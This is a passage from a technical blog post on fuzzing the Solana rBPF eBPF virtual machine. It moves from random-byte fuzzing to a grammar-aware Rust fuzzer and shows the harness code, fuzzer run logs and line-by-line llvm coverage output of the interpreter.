1070| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1071| 0| next_pc = self.check_pc(pc, target_pc)?;
1072| 20| }
1073| 2| }
1074| |
1075| 22| if !resolved {
1076| 22| if config.disable_unresolved_symbols_at_runtime {
1077| 6| return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
1078| | } else {
1079| 16| self.executable.report_unresolved_symbol(pc)?;
1080| | }
1081| 0| }
1082| | }
1083| |
1084| | ebpf::EXIT => {
1085| 14| match self.stack.pop::<E>() {
1086| 0| Ok((saved_reg, frame_ptr, ptr)) => {
1087| 0| // Return from BPF to BPF call
1088| 0| reg[ebpf::FIRST_SCRATCH_REG
1089| 0| ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
1090| 0| .copy_from_slice(&saved_reg);
1091| 0| reg[ebpf::FRAME_PTR_REG] = frame_ptr;
1092| 0| next_pc = self.check_pc(pc, ptr)?;
1093| | }
1094| | _ => {
1095| 14| return Ok(reg[0]);
1096| | }
1097| | }
1098| | }
1099| 0| _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
1100| | }
1101| |
1102| 135k| if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
1103| | // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
1104| 130| return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
1105| 135k| }
1106| | }
1107| |
1108| 419| Err(EbpfError::ExecutionOverrun(
1109| 419| next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
1110| 419| ))
1111| 763| }
Unfortunately, this fuzzer doesn’t seem to achieve the coverage we expect. Several instructions are missed (note the 0 coverage on some branches of the match) and there are no jumps, calls, or other control-flow-relevant instructions. This is largely because throwing random bytes at any parser just isn’t going to be effective; most things will get caught at the verification stage, and very little will actually test the program.
We must improve this before we continue or we’ll be waiting forever for our fuzzer to find useful bugs.
At this point, we’re about two hours into development.
The smart fuzzer
eBPF is a quite simple instruction set; you can read the whole definition in just a few pages. Knowing this: why don’t we constrain our input to just these instructions? This approach is commonly called “grammar-aware” fuzzing on account of the fact that the inputs are constrained to some grammar. It is very powerful as a concept, and is used to test a variety of large targets which have strict parsing rules.
To create this grammar-aware fuzzer, I inspected the helpfully-named and provided insn_builder.rs which would allow me to create instructions. Now, all I needed to do was represent all the different instructions. By cross referencing with eBPF documentation, we can represent each possible operation in a single enum. You can see the whole grammar.rs in the rBPF repo if you wish, but the two most relevant sections are provided below.
Defining the enum that represents all instructions
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
Add(Source),
Sub(Source),
Mul(Source),
Div(Source),
BitOr(Source),
BitAnd(Source),
LeftShift(Source),
RightShift(Source),
Negate,
Modulo(Source),
BitXor(Source),
Mov(Source),
SRS(Source),
SwapBytes(Endian),
Load(MemSize),
LoadAbs(MemSize),
LoadInd(MemSize),
LoadX(MemSize),
Store(MemSize),
StoreX(MemSize),
Jump,
JumpC(Cond, Source),
Call,
Exit,
}
Translating FuzzedOps to BpfCode
pub type FuzzProgram = Vec<FuzzedInstruction>;
pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
let mut code = BpfCode::default();
for inst in prog {
match inst.op {
FuzzedOp::Add(src) => code
.add(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Sub(src) => code
.sub(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mul(src) => code
.mul(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Div(src) => code
.div(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitOr(src) => code
.bit_or(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitAnd(src) => code
.bit_and(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LeftShift(src) => code
.left_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::RightShift(src) => code
.right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Negate => code
.negate(arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Modulo(src) => code
.modulo(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitXor(src) => code
.bit_xor(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mov(src) => code
.mov(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SRS(src) => code
.signed_right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SwapBytes(endian) => code
.swap_bytes(endian)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Load(mem) => code
.load(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadAbs(mem) => code
.load_abs(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadInd(mem) => code
.load_ind(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadX(mem) => code
.load_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Store(mem) => code
.store(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::StoreX(mem) => code
.store_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Jump => code
.jump_unconditional()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::JumpC(cond, src) => code
.jump_conditional(cond, src)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Call => code
.call()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Exit => code
.exit()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
};
}
code
}
You’ll see here that our generation doesn’t really care to ensure that instructions are valid, just that they’re in the right format. For example, we don’t verify registers, addresses, jump targets, etc.; we just slap it together and see if it works. This is to prevent over-specialisation, where our attempts to fuzz things only make “boring” inputs that don’t test cases that would normally be considered invalid.
Okay – let’s make a fuzzer with this. The only real difference here is that our input format is now changed to have our new FuzzProgram type instead of raw bytes:
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec<u8>,
arch: Arch,
}
The whole fuzzer, though really it's not that different
This fuzzer expresses a particular stage in development. The differential fuzzer is significantly different in a few key aspects that will be discussed later.
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use grammar_aware::*;
use solana_rbpf::{
elf::{register_bpf_function, Executable},
insn_builder::{Arch, IntoBytes},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
mod grammar_aware;
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec<u8>,
arch: Arch,
}
fuzz_target!(|data: FuzzData| {
let prog = make_program(&data.prog, data.arch);
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1 << 16 },
)));
});
Evaluation
Let’s see how well this version covers our target now.
$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846 REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798 NEW cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609 NEW cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095 NEW cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830 DONE cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)
Notice that our number of inputs tried (the number farthest left) is nearly half, but our cov and ft values are significantly higher.
Let’s evaluate that coverage a little more specifically:
$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
Command output of rust-cov
If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.
<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
709| 886| fn execute_program_interpreted_inner(
710| 886| &mut self,
711| 886| instruction_meter: &mut I,
712| 886| initial_insn_count: u64,
713| 886| last_insn_count: &mut u64,
714| 886| ) -> ProgramResult<E> {
715| 886| // R1 points to beginning of input memory, R10 to the stack of the first frame
716| 886| let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
717| 886| reg[1] = ebpf::MM_INPUT_START;
718| 886|
719| 886| // Loop on instructions
720| 886| let config = self.executable.get_config();
721| 886| let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
^0
722| 886| let mut remaining_insn_count = initial_insn_count;
723| 2.16M| while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
724| 2.16M| *last_insn_count += 1;
725| 2.16M| let pc = next_pc;
726| 2.16M| next_pc += 1;
727| 2.16M| let mut instruction_width = 1;
728| 2.16M| let mut insn = ebpf::get_insn_unchecked(self.program, pc);
729| 2.16M| let dst = insn.dst as usize;
730| 2.16M| let src = insn.src as usize;
731| 2.16M|
732| 2.16M| if config.enable_instruction_tracing {
733| 0| let mut state = [0u64; 12];
734| 0| state[0..11].copy_from_slice(®);
735| 0| state[11] = pc as u64;
736| 0| self.tracer.trace(state);
737| 2.16M| }
738| |
739| 2.16M| match insn.opc {
740| 2.16M| _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
741| 6| match insn.opc {
742| 2| ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
743| 4| ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
744| | _ => {
745| | #[cfg(debug_assertions)]
746| 0| unreachable!("unexpected insn on r11")
747| | }
748| | }
749| | }
750| |
751| | // BPF_LD class
752| | // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
753| | // bother re-fetching it, just use ebpf::MM_INPUT_START already.
754| | ebpf::LD_ABS_B => {
755| 5| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
756| 5| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^2
757| 2| reg[0] = unsafe { *host_ptr as u64 };
758| | },
759| | ebpf::LD_ABS_H => {
760| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
761| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
762| 1| reg[0] = unsafe { *host_ptr as u64 };
763| | },
764| | ebpf::LD_ABS_W => {
765| 6| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
766| 6| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^2
767| 2| reg[0] = unsafe { *host_ptr as u64 };
768| | },
769| | ebpf::LD_ABS_DW => {
770| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
771| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^1
772| 1| reg[0] = unsafe { *host_ptr as u64 };
773| | },
774| | ebpf::LD_IND_B => {
775| 9| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
776| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^1
777| 1| reg[0] = unsafe { *host_ptr as u64 };
778| | },
779| | ebpf::LD_IND_H => {
780| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
781| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
782| 1| reg[0] = unsafe { *host_ptr as u64 };
783| | },
784| | ebpf::LD_IND_W => {
785| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
786| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^2
787| 2| reg[0] = unsafe { *host_ptr as u64 };
788| | },
789| | ebpf::LD_IND_DW => {
790| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
791| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
792| 0| reg[0] = unsafe { *host_ptr as u64 };
793| | },
794| |
795| 6| ebpf::LD_DW_IMM => {
796| 6| ebpf::augment_lddw_unchecked(self.program, &mut insn);
797| 6| instruction_width = 2;
798| 6| next_pc += 1;
799| 6| reg[dst] = insn.imm as u64;
800| 6| },
801| |
802| | // BPF_LDX class
803| | ebpf::LD_B_REG => {
804| 21| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
805| 21| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^4
806| 4| reg[dst] = unsafe { *host_ptr as u64 };
807| | },
808| | ebpf::LD_H_REG => {
809| 4| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
810| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
811| 1| reg[dst] = unsafe { *host_ptr as u64 };
812| | },
813| | ebpf::LD_W_REG => {
814| 26| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
815| 26| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^19
816| 19| reg[dst] = unsafe { *host_ptr as u64 };
817| | },
818| | ebpf::LD_DW_REG => {
819| 5| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
820| 5| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^1
821| 1| reg[dst] = unsafe { *host_ptr as u64 };
822| | },
823| |
824| | // BPF_ST class
825| | ebpf::ST_B_IMM => {
826| 8| let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
827| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^1
828| 1| unsafe { *host_ptr = insn.imm as u8 };
829| | },
830| | ebpf::ST_H_IMM => {
831| 11| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
832| 11| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^6
833| 6| unsafe { *host_ptr = insn.imm as u16 };
834| | },
835| | ebpf::ST_W_IMM => {
836| 9| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
837| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^6
838| 6| unsafe { *host_ptr = insn.imm as u32 };
839| | },
840| | ebpf::ST_DW_IMM => {
841| 16| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
842| 16| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^11
843| 11| unsafe { *host_ptr = insn.imm as u64 };
844| | },
845| |
846| | // BPF_STX class
847| | ebpf::ST_B_REG => {
848| 9| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
849| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^2
850| 2| unsafe { *host_ptr = reg[src] as u8 };
851| | },
852| | ebpf::ST_H_REG => {
853| 8| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
854| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^3
855| 3| unsafe { *host_ptr = reg[src] as u16 };
856| | },
857| | ebpf::ST_W_REG => {
858| 7| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
859| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^2
860| 2| unsafe { *host_ptr = reg[src] as u32 };
861| | },
862| | ebpf::ST_DW_REG => {
863| 7| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
864| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^2
865| 2| unsafe { *host_ptr = reg[src] as u64 };
866| | },
867| |
868| | // BPF_ALU class
869| 136| ebpf::ADD32_IMM => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32) as u64,
870| 18| ebpf::ADD32_REG => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32) as u64,
871| 94| ebpf::SUB32_IMM => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32) as u64,
872| 14| ebpf::SUB32_REG => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32) as u64,
873| 226| ebpf::MUL32_IMM => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32) as u64,
874| 15| ebpf::MUL32_REG => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32) as u64,
875| 98| ebpf::DIV32_IMM => reg[dst] = (reg[dst] as u32 / insn.imm as u32) as u64,
876| | ebpf::DIV32_REG => {
877| 4| if reg[src] as u32 == 0 {
878| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
879| 2| }
880| 2| reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
881| | },
882| | ebpf::SDIV32_IMM => {
883| 0| if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
884| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
885| 0| }
886| 0| reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
887| | }
888| | ebpf::SDIV32_REG => {
889| 0| if reg[src] as i32 == 0 {
890| 0| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
891| 0| }
892| 0| if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
893| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
894| 0| }
895| 0| reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
896| | },
897| 102| ebpf::OR32_IMM => reg[dst] = (reg[dst] as u32 | insn.imm as u32) as u64,
898| 13| ebpf::OR32_REG => reg[dst] = (reg[dst] as u32 | reg[src] as u32) as u64,
899| 46| ebpf::AND32_IMM => reg[dst] = (reg[dst] as u32 & insn.imm as u32) as u64,
900| 16| ebpf::AND32_REG => reg[dst] = (reg[dst] as u32 & reg[src] as u32) as u64,
901| 4| ebpf::LSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
902| 32| ebpf::LSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
903| 2| ebpf::RSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
904| 4| ebpf::RSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
905| 54| ebpf::NEG32 => { reg[dst] = (reg[dst] as i32).wrapping_neg() as u64; reg[dst] &= u32::MAX as u64; },
906| 90| ebpf::MOD32_IMM => reg[dst] = (reg[dst] as u32 % insn.imm as u32) as u64,
907| | ebpf::MOD32_REG => {
908| 20| if reg[src] as u32 == 0 {
909| 6| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
910| 14| }
911| 14| reg[dst] = (reg[dst] as u32 % reg[src] as u32) as u64;
912| | },
913| 96| ebpf::XOR32_IMM => reg[dst] = (reg[dst] as u32 ^ insn.imm as u32) as u64,
914| 14| ebpf::XOR32_REG => reg[dst] = (reg[dst] as u32 ^ reg[src] as u32) as u64,
915| 59| ebpf::MOV32_IMM => reg[dst] = insn.imm as u32 as u64,
916| 7| ebpf::MOV32_REG => reg[dst] = (reg[src] as u32) as u64,
917| 15| ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
918| 236| ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
919| 2| ebpf::LE => {
920| 2| reg[dst] = match insn.imm {
921| 1| 16 => (reg[dst] as u16).to_le() as u64,
922| 1| 32 => (reg[dst] as u32).to_le() as u64,
923| 0| 64 => reg[dst].to_le(),
924| | _ => {
925| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
926| | }
927| | };
928| | },
929| 2| ebpf::BE => {
930| 2| reg[dst] = match insn.imm {
931| 1| 16 => (reg[dst] as u16).to_be() as u64,
932| 1| 32 => (reg[dst] as u32).to_be() as u64,
933| 0| 64 => reg[dst].to_be(),
934| | _ => {
935| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
936| | }
937| | };
938| | },
939| |
940| | // BPF_ALU64 class
941| 16.7k| ebpf::ADD64_IMM => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
942| 26| ebpf::ADD64_REG => reg[dst] = reg[dst].wrapping_add(reg[src]),
943| 145| ebpf::SUB64_IMM => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
944| 25| ebpf::SUB64_REG => reg[dst] = reg[dst].wrapping_sub(reg[src]),
945| 480| ebpf::MUL64_IMM => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
946| 13| ebpf::MUL64_REG => reg[dst] = reg[dst].wrapping_mul(reg[src]),
947| 191| ebpf::DIV64_IMM => reg[dst] /= insn.imm as u64,
948| | ebpf::DIV64_REG => {
949| 5| if reg[src] == 0 {
950| 3| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
951| 2| }
952| 2| reg[dst] /= reg[src];
953| | },
954| | ebpf::SDIV64_IMM => {
955| 0| if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
956| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
957| 0| }
958| 0|
959| 0| reg[dst] = (reg[dst] as i64 / insn.imm) as u64
960| | }
961| | ebpf::SDIV64_REG => {
962| 0| if reg[src] == 0 {
963| 0| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
964| 0| }
965| 0| if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
966| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
967| 0| }
968| 0| reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
969| | },
970| 115| ebpf::OR64_IMM => reg[dst] |= insn.imm as u64,
971| 19| ebpf::OR64_REG => reg[dst] |= reg[src],
972| 93| ebpf::AND64_IMM => reg[dst] &= insn.imm as u64,
973| 19| ebpf::AND64_REG => reg[dst] &= reg[src],
974| 19| ebpf::LSH64_IMM => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
975| 48| ebpf::LSH64_REG => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
976| 4| ebpf::RSH64_IMM => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
977| 5| ebpf::RSH64_REG => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
978| 94| ebpf::NEG64 => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
979| 141| ebpf::MOD64_IMM => reg[dst] %= insn.imm as u64,
980| | ebpf::MOD64_REG => {
981| 19| if reg[src] == 0 {
982| 4| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
983| 15| }
984| 15| reg[dst] %= reg[src];
985| | },
986| 98| ebpf::XOR64_IMM => reg[dst] ^= insn.imm as u64,
987| 17| ebpf::XOR64_REG => reg[dst] ^= reg[src],
988| 89| ebpf::MOV64_IMM => reg[dst] = insn.imm as u64,
989| 10| ebpf::MOV64_REG => reg[dst] = reg[src],
990| 14| ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
991| 294| ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
992| |
993| | // BPF_JMP class
994| 327k| ebpf::JA => { next_pc = (next_pc as isize + insn.off as isize) as usize; },
995| 116| ebpf::JEQ_IMM => if reg[dst] == insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^76 ^40
996| 131k| ebpf::JEQ_REG => if reg[dst] == reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^11
997| 163k| ebpf::JGT_IMM => if reg[dst] > insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^147k ^16.4k
998| 131k| ebpf::JGT_REG => if reg[dst] > reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^34
999| 65.5k| ebpf::JGE_IMM => if reg[dst] >= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^8
1000| 65.5k| ebpf::JGE_REG => if reg[dst] >= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^11
1001| 65.5k| ebpf::JLT_IMM => if reg[dst] < insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^3
1002| 6| ebpf::JLT_REG => if reg[dst] < reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^4 ^2
1003| 131k| ebpf::JLE_IMM => if reg[dst] <= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^2
1004| 65.5k| ebpf::JLE_REG => if reg[dst] <= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^2
1005| 3| ebpf::JSET_IMM => if reg[dst] & insn.imm as u64 != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1 ^2
1006| 2| ebpf::JSET_REG => if reg[dst] & reg[src] != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1007| 196k| ebpf::JNE_IMM => if reg[dst] != insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^196k ^3
1008| 131k| ebpf::JNE_REG => if reg[dst] != reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^3
1009| 65.5k| ebpf::JSGT_IMM => if reg[dst] as i64 > insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^6
1010| 14| ebpf::JSGT_REG => if reg[dst] as i64 > reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1 ^13
1011| 65.5k| ebpf::JSGE_IMM => if reg[dst] as i64 >= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^12
1012| 65.5k| ebpf::JSGE_REG => if reg[dst] as i64 >= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^4
